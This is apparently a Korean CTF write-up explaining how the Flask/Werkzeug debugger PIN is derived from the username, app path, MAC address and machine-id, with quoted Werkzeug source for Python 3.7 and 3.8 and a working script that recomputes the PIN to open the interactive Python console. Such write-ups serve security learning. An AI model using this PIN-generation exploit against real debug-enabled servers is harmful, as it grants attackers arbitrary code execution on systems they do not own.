어떤 CTF에서 python flask 관련 문제가 나왔는데, flask의 debugger pin을 Leak해서 exploit 하는 문제 였다.

flask debugger pin은 뭐길래 exploit이 가능한지 알아보자.

 

 

What is Flask debugger PIN

debugger PIN은 개발환경에서 에러가 났을때 쉽게 대화형 debug 모드로 접근 가능하다. 이때 접근 하기 위해서는 PIN 코드가 필요한데 이것이 debugger PIN이다.

 

코드로 예를 들어 보겠다.

아래 코드에서 마지막 줄을 보면 `debug=True` 라고 되어 있는데, 이렇게 설정이 되어 있으면 debugger PIN을 볼 수 있다.

from flask import Flask

app = Flask(__name__)
@app.route('/')
def index():
	return 'test'

@app.route("/test")
def test():
    # Error!!
    return a[0]

app.run(host='0.0.0.0', port=80, threaded=True, debug=True)

위 코드를 실행하면 아래 처럼 debugger PIN `318-401-378` 이 콘솔에 출력 된 것을 볼 수 있다.

이 PIN code는 각 pc마다 다르다.

 

에러를 발생시키기 위해 `/test` 로 요청을 보내면 웹 페이지에 에러가 출력된다.

그런데 에러 패에지에서 오른쪽을 보면 터미널 아이콘이 보이는데, `Open an interactive python shell in this frame` 라고 적혀있다. 즉 대화형 파이썬 shell을 실행하는 것이다.

 

 

터미널 아이콘을 누르면 debugger PIN을 입력하는 창이 뜨는데, 위에서 봤던 PIN코드를 입력하면 대화형 파이썬 shell을 실행하게 된다.

 

그럼 어떻게 debugger PIN을 leak 할 수 있을까?

 

 

 

How to leak Debugger PIN in python3.8

debugger PIN을 생성하는 코드는 아래 경로에서 `__init__.py` 라는 파일안에 있다.

`/usr/local/lib/python3.8/site-packages/werkzeug/debug/__init__.py`

python 버전마다 다를 수 있으니 직접 찾아 보자.

 

 

`__init__.py` 라는 파일을 열어 debugger PIN을 생성하는 코드만 보면 아래와 같다.

def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns `None`.

    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None

    # Pin was explicitly disabled
    if pin == "off":
        return None, None

    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin

    modname = getattr(app, "__module__", app.__class__.__module__)

    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None

    mod = sys.modules.get(modname)

    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]

    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]

    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")

    cookie_name = "__wzd" + h.hexdigest()[:20]

    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]

    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num

    return rv, cookie_name

 

코드 해석은 별로 중요한 건 아니니 중요한 부분만 보면, 아래 값들이 있어야 `debugger PIN`을 만들 수 있다.

probably_public_bits = [
    username,
    modname,
    getattr(app, '__name__', getattr(app.__class__, '__name__')),
    getattr(mod, '__file__', None),
]

private_bits = [
    str(uuid.getnode()),
    get_machine_id(),
]

 

각각에 대한 값들에 대해 설명하면 다음과 같다.

`username`: app.py를 실행한 사용자 이름

`modname`: 그냥 flask.app

`getattr(app, '__name__', getattr (app .__ class__, '__name__'))`: 그냥 Flask

`getattr(mod, '__file__', None)`: flask 폴더에 app.py의 절대 경로

 

`uuid.getnode()`: 해당 pc의 MAC 주소

`get_machine_id()`: 해당 pc에서 '/etc/machine-id' 파일의 값이나 '/proc/sys/kernel/random/boot_i' 파일의 값

MAC주소와 machine-id

 

만약, 해당 서버가 취약해서 `app.py`를 실행한 사용자 이름등 정보를 얻을 수 있다는 가정하에 필요한 정보를 수집했으면 아래 코드를 통해 `debugger PIN` 을 생성할 수 있다.

 

Generate Debugger PIN

import hashlib
from itertools import chain
probably_public_bits = [
	'universe', # username
	'flask.app',# modname 고정
	'Flask',    # getattr(app, '__name__', getattr(app.__class__, '__name__')) 고정
	'/usr/local/lib/python3.8/site-packages/flask/app.py' # getattr(mod, '__file__', None),
                                                          # python 버전 마다 위치 다름
]

private_bits = [
	'187999308491777',  # MAC주소를 int형으로 변환한 값,  
	'your machine id'   # get_machine_id()
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

 

 

Notice

python 버전마다, 그리고 flask 버전 마다 `dubugger PIN` 을 생성하는 방법이 다르다.

정확히 말하면 생성할때의 필요한 값들이 조금 다르다.

 

`python 3.8` 과 `python 3.7` 을 서로 비교해보자.

 

 

에러 로그에 python의 버전이 나올건데 이를 바탕으로 `/usr/local/lib/{{python version}}/site-packages/werkzeug/debug/__init__.py` 파일을 보거나, 해당 버전의 코드를 인터넷에 찾는다.

 

아래 코드는 `python 3.8` 에서 `__init__.py` 파일 중 `debugger PIN`을 생성하기 위해 필요한 정보를 수집하는 단계이다.

mac os와 windows 관련 코드는 지웠다.

`linux` 변수를 관점으로 보면 `/etc/machine-id` 파일의 값과 `/proc/self/cgroup` 파일의 값을 어떻게 처리해서 `return linux` 한다.

_machine_id = None


def get_machine_id():
    global _machine_id

    if _machine_id is not None:
        return _machine_id

    def _generate():
        linux = b""

        # machine-id is stable across boots, boot_id is not.
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    value = f.readline().strip()
            except IOError:
                continue

            if value:
                linux += value
                break

        # Containers share the same machine id, add some cgroup
        # information. This is used outside containers too but should be
        # relatively stable across boots.
        try:
            with open("/proc/self/cgroup", "rb") as f:
                linux += f.readline().strip().rpartition(b"/")[2]
        except IOError:
            pass

        if linux:
            return linux


    _machine_id = _generate()
    return _machine_id

 

 

반면, `python 3.7`을 보면 `_machine_id`를 생성하는 과정이 조금 다르다는 것을 알 수 있다.

_machine_id = None


def get_machine_id():
    global _machine_id
    rv = _machine_id
    if rv is not None:
        return rv

    def _generate():
        # docker containers share the same machine id, get the
        # container id instead
        try:
            with open("/proc/self/cgroup") as f:
                value = f.readline()
        except IOError:
            pass
        else:
            value = value.strip().partition("/docker/")[2]

            if value:
                return value

        # Potential sources of secret information on linux.  The machine-id
        # is stable across boots, the boot id is not
        for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
            try:
                with open(filename, "rb") as f:
                    return f.readline().strip()
            except IOError:
                continue

    _machine_id = rv = _generate()
    return rv

 

 

 

 

Conclusion

위에서 `debugger PIN`의 생성 과정은 python 버전 마다 다르다는 것을 알 수 있다.

과정만 다르지 생성하는 알고리즘은 똑같아 필요한 정보를 획득한 뒤, 위 `Generate debugger PIN` 코드를 이용해서 `debugger PIN`을 생성하면 된다.

 

 

 

 

 

Reference

https://www.daehee.com/werkzeug-console-pin-exploit/

https://www.kingkk.com/2018/08/Flask-debug-pin%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

https://dreamhack.io/forum/qna/291